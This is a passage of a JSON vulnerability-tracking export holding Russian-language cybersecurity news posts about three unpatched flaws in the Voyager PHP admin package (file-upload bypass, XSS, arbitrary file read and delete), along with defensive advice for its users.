\u0440\u043e\u0441\u0442\u0430 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c Voyager, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b. \u0423\u0441\u0438\u043b\u0435\u043d\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0441\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430 \u043a \u043d\u043e\u0432\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u043e \u0431\u0435\u0437 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0440\u0438\u0441\u043a \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u044b\u0441\u043e\u043a\u0438\u043c.\n\n\u0412 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435 \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u0437\u0432\u0443\u0447\u0430\u0442 \u043f\u0440\u0438\u0437\u044b\u0432\u044b \u043a \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043d\u0438\u0437\u0438\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432 \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c. \u041d\u0430 \u0444\u043e\u043d\u0435 \u043d\u043e\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u0442\u0430\u043a \u043d\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u043b\u044e\u0431\u044b\u043c\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u043c\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043c\u0435\u0440\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u041f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Voyager \u0432 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0438\u0432\u0448\u0438\u0435 \u043f\u0430\u043a\u0435\u0442, \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.\n\n\u0418\u0437\u0431\u0430\u0432\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432, \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u0442\u0438 \u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043b\u043e\u0433\u043e\u0432, \u0447\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043e\u0432\u0440\u0435\u043c\u044f \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u043c\u0438, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-31T04:20:19.000000Z"}, {"uuid": "aaa5ce99-eccf-418b-8a68-a8a182d579b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55416", "type": "seen", "source": "https://t.me/itsec_news/5274", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 0day-\u0431\u0440\u0435\u0448\u0438 \u0432 Voyager: \u0443\u0433\u0440\u043e\u0437\u0430 \u0446\u0435\u043f\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\n\n\ud83d\udcac \u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 PHP-\u043f\u0430\u043a\u0435\u0442 Voyager \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0442\u0440\u0435\u043c\u044f \u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043e\u0434\u043d\u0438\u043c \u043d\u0430\u0436\u0430\u0442\u0438\u0435\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Sonar \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u042f\u043d\u0438\u0432 \u041d\u0438\u0437\u0440\u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0435 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u043c\u043e\u0434\u0443\u043b\u044c, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438.\n\n\u041f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Voyager \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u043f\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 \u2014 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u0438\u0434\u0435\u043e. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442-\u0444\u0430\u0439\u043b\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u043e, \u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 PHP-\u043a\u043e\u0434.\n\n\u041d\u0430\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE-2024-55417 , CVE-2024-55416 \u0438 CVE-2024-55415 . \u041f\u0435\u0440\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 MIME-\u0442\u0438\u043f\u043e\u0432 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438. \u0412\u0442\u043e\u0440\u0430\u044f \u0434\u0430\u0451\u0442 \u0448\u0430\u043d\u0441 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c JavaScript, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c Voyager \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u00ab\u043a\u043e\u043c\u043f\u0430\u0441\u0430\u00bb. \u0422\u0440\u0435\u0442\u044c\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e XSS, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0440\u0435\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u043c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c, \u0435\u0441\u043b\u0438 \u0443\u0434\u0430\u0441\u0442\u0441\u044f \u0437\u0430\u043c\u0430\u043d\u0438\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 URL.\n\n\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043e\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d, \u0445\u043e\u0442\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430. \u041f\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430, \u0441\u0440\u043e\u043a\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c\u0438.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f \u0432\u0441\u043f\u043b\u0435\u0441\u043a \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0440\u044f\u0434\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0434\u043b\u044f Python \u0438 JavaScript \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u0431\u044b\u0441\u0442\u0440\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u0420\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 \u0436\u0451\u0441\u0442\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043a \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u0440\u043e\u0441\u0442\u0430 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c Voyager, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b. \u0423\u0441\u0438\u043b\u0435\u043d\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0441\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430 \u043a \u043d\u043e\u0432\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u043e \u0431\u0435\u0437 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0440\u0438\u0441\u043a \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u044b\u0441\u043e\u043a\u0438\u043c.\n\n\u0412 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435 \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u0437\u0432\u0443\u0447\u0430\u0442 \u043f\u0440\u0438\u0437\u044b\u0432\u044b \u043a \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043d\u0438\u0437\u0438\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432 \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c. \u041d\u0430 \u0444\u043e\u043d\u0435 \u043d\u043e\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u0442\u0430\u043a \u043d\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u043b\u044e\u0431\u044b\u043c\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u043c\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043c\u0435\u0440\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u041f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Voyager \u0432 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0438\u0432\u0448\u0438\u0435 \u043f\u0430\u043a\u0435\u0442, \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.\n\n\u0418\u0437\u0431\u0430\u0432\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 